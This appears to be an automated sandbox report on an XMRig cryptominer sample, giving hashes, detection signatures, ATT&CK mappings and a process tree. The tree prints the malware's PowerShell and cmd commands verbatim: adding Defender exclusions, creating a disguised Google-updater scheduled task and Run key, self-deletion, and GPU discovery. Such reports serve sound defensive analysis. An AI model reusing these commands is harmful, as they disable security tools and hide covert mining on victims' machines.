xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
437s
max time network
1788s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
24/01/2024, 17:21

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General

Target

qM5GMXBk6hJE6Y5e (18).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2652 created 1376	2652	qM5GMXBk6hJE6Y5e (18).exe	9
PID 2652 created 1376	2652	qM5GMXBk6hJE6Y5e (18).exe	9
PID 2652 created 1376	2652	qM5GMXBk6hJE6Y5e (18).exe	9
PID 2652 created 1376	2652	qM5GMXBk6hJE6Y5e (18).exe	9
PID 2084 created 1376	2084	updater.exe	9
PID 2084 created 1376	2084	updater.exe	9
PID 2084 created 1376	2084	updater.exe	9
PID 2084 created 1376	2084	updater.exe	9
PID 2644 created 1376	2644	conhost.exe	9
PID 2084 created 1376	2084	updater.exe	9

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral7/memory/1044-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral7/memory/1044-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
3028	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2084	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2540	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral7/memory/1044-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral7/memory/1044-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2084 set thread context of 2644	2084	updater.exe	52
PID 2084 set thread context of 1044	2084	updater.exe	47

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (18).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2676	schtasks.exe
1668	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1428	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 50989a61f04eda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2652	qM5GMXBk6hJE6Y5e (18).exe
2652	qM5GMXBk6hJE6Y5e (18).exe
2992	powershell.exe
2652	qM5GMXBk6hJE6Y5e (18).exe
2652	qM5GMXBk6hJE6Y5e (18).exe
2560	powershell.exe
2652	qM5GMXBk6hJE6Y5e (18).exe
2652	qM5GMXBk6hJE6Y5e (18).exe
2652	qM5GMXBk6hJE6Y5e (18).exe
2652	qM5GMXBk6hJE6Y5e (18).exe
2472	powershell.exe
2084	updater.exe
2084	updater.exe
2888	powershell.exe
2084	updater.exe
2084	updater.exe
2760	powershell.exe
2084	updater.exe
2084	updater.exe
2084	updater.exe
2084	updater.exe
2644	conhost.exe
2644	conhost.exe
2084	updater.exe
2084	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2992	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2084	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1428	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1428	WMIC.exe
Token: SeSecurityPrivilege	1428	WMIC.exe
Token: SeTakeOwnershipPrivilege	1428	WMIC.exe
Token: SeLoadDriverPrivilege	1428	WMIC.exe
Token: SeSystemtimePrivilege	1428	WMIC.exe
Token: SeBackupPrivilege	1428	WMIC.exe
Token: SeRestorePrivilege	1428	WMIC.exe
Token: SeShutdownPrivilege	1428	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1428	WMIC.exe
Token: SeUndockPrivilege	1428	WMIC.exe
Token: SeManageVolumePrivilege	1428	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1428	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1428	WMIC.exe
Token: SeSecurityPrivilege	1428	WMIC.exe
Token: SeTakeOwnershipPrivilege	1428	WMIC.exe
Token: SeLoadDriverPrivilege	1428	WMIC.exe
Token: SeSystemtimePrivilege	1428	WMIC.exe
Token: SeBackupPrivilege	1428	WMIC.exe
Token: SeRestorePrivilege	1428	WMIC.exe
Token: SeShutdownPrivilege	1428	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1428	WMIC.exe
Token: SeUndockPrivilege	1428	WMIC.exe
Token: SeManageVolumePrivilege	1428	WMIC.exe
Token: SeLockMemoryPrivilege	1044	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 2676	2560	powershell.exe	31
PID 2560 wrote to memory of 2676	2560	powershell.exe	31
PID 2560 wrote to memory of 2676	2560	powershell.exe	31
PID 3028 wrote to memory of 2488	3028	cmd.exe	35
PID 3028 wrote to memory of 2488	3028	cmd.exe	35
PID 3028 wrote to memory of 2488	3028	cmd.exe	35
PID 2472 wrote to memory of 2480	2472	powershell.exe	34
PID 2472 wrote to memory of 2480	2472	powershell.exe	34
PID 2472 wrote to memory of 2480	2472	powershell.exe	34
PID 2540 wrote to memory of 2084	2540	taskeng.exe	33
PID 2540 wrote to memory of 2084	2540	taskeng.exe	33
PID 2540 wrote to memory of 2084	2540	taskeng.exe	33
PID 2760 wrote to memory of 1668	2760	powershell.exe	53
PID 2760 wrote to memory of 1668	2760	powershell.exe	53
PID 2760 wrote to memory of 1668	2760	powershell.exe	53
PID 2084 wrote to memory of 2644	2084	updater.exe	52
PID 2720 wrote to memory of 1428	2720	cmd.exe	48
PID 2720 wrote to memory of 1428	2720	cmd.exe	48
PID 2720 wrote to memory of 1428	2720	cmd.exe	48
PID 2084 wrote to memory of 1044	2084	updater.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1376
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (18).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (18).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2992
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (18).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:3028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2760
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1668
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1044
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2984
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2720
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2644

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2676

C:\Windows\system32\taskeng.exe
taskeng.exe {90CA95F2-8428-4D2F-9AE7-C2782782773B} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2540
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2084

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2480

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2488

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
130KB

MD5
17440a86634a218b7e877c848e4a760c

SHA1
3949514422419a750cdb93285089eee75ca0e47f

SHA256
c3f8fba0ce671c12b6cc8645ecf8de930d90c2042e83f57b4f499e56023ae439

SHA512
0152453800a2d4882a55b8b0bc1990a04cfb824f745d50ba2ecc78a59b4b6d25fb02150750a75473007e721ebc53e4779f500ab91d993472a2b91b5978f9049b

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
246KB

MD5
11d01d0529dbe8a1c0ae73f070eefcc4

SHA1
093e1d5c499fe3948f7d91ee7370f62514986a5e

SHA256
23d1583ba2552bec52399530efef56757c07e2534f0a7785334219bad7d6d4bf

SHA512
bd22269f9712c6454bd11103fb548d8fa4128f50c5d90557d5c233eb358a32d21408ae037f883f5ed300c3eb0b9accef78056c2579b5af81f9a2dfb5f2902de2

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BDY9Z4YMBS5U9K3HUY7A.temp

Filesize
7KB

MD5
e10dfdf44c80f728e829cf135f9996aa

SHA1
6c7f421563d25f007de33d94de04e6a162ab2aca

SHA256
bc7fde40cbd359f31279a702501d3f596926a7deb2fc9fe10a97835b499e5726

SHA512
36f955c7e02f7fc8fedcf5a8fb3aa0e3d819941099267eccc39ff78739be372ea218f6d0aa8184517d4c00652f6251ec7f19f524088d61b8501ad7d780baf053

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
108KB

MD5
970cd5e2f239161722691d5793eedccc

SHA1
2e139cd3589d411af4757d6576d2fd55b2c18e42

SHA256
728d6dc7727ef083232a60896b3330fcba449793d7256e282bbf7bdcb7b97786

SHA512
e20dc80f8d152b84a86393e0fe4cec0247e0e6c70f84f744a00e289cb5b46f1c790ab25fe109261dc3dc4b30d47133eb94db487f9b47034c9c4ab6b9cc10d06a

Download Submit
memory/1044-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-70-0x0000000000850000-0x0000000000870000-memory.dmp

Filesize
128KB

Download
memory/1044-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-75-0x0000000000830000-0x0000000000850000-memory.dmp

Filesize
128KB

Download
memory/1044-76-0x0000000000850000-0x0000000000870000-memory.dmp

Filesize
128KB

Download
memory/1044-67-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download
memory/1044-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-69-0x0000000000830000-0x0000000000850000-memory.dmp

Filesize
128KB

Download
memory/1044-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1044-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2084-66-0x000000013F310000-0x000000013F521000-memory.dmp

Filesize
2.1MB

Download
memory/2084-45-0x000000013F310000-0x000000013F521000-memory.dmp

Filesize
2.1MB

Download
memory/2472-37-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/2472-38-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2472-39-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2472-40-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2472-41-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/2472-35-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/2472-36-0x00000000028A0000-0x0000000002920000-memory.dmp

Filesize
512KB

Download
memory/2560-20-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2560-24-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2560-23-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2560-25-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2560-26-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2560-19-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2560-21-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2560-18-0x000000001B480000-0x000000001B762000-memory.dmp

Filesize
2.9MB

Download
memory/2560-22-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2644-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2644-77-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2652-28-0x000000013F740000-0x000000013F951000-memory.dmp

Filesize
2.1MB

Download
memory/2652-0-0x000000013F740000-0x000000013F951000-memory.dmp

Filesize
2.1MB

Download
memory/2760-53-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

Filesize
9.6MB

Download
memory/2760-54-0x0000000001510000-0x0000000001590000-memory.dmp

Filesize
512KB

Download
memory/2760-56-0x0000000001510000-0x0000000001590000-memory.dmp

Filesize
512KB

Download
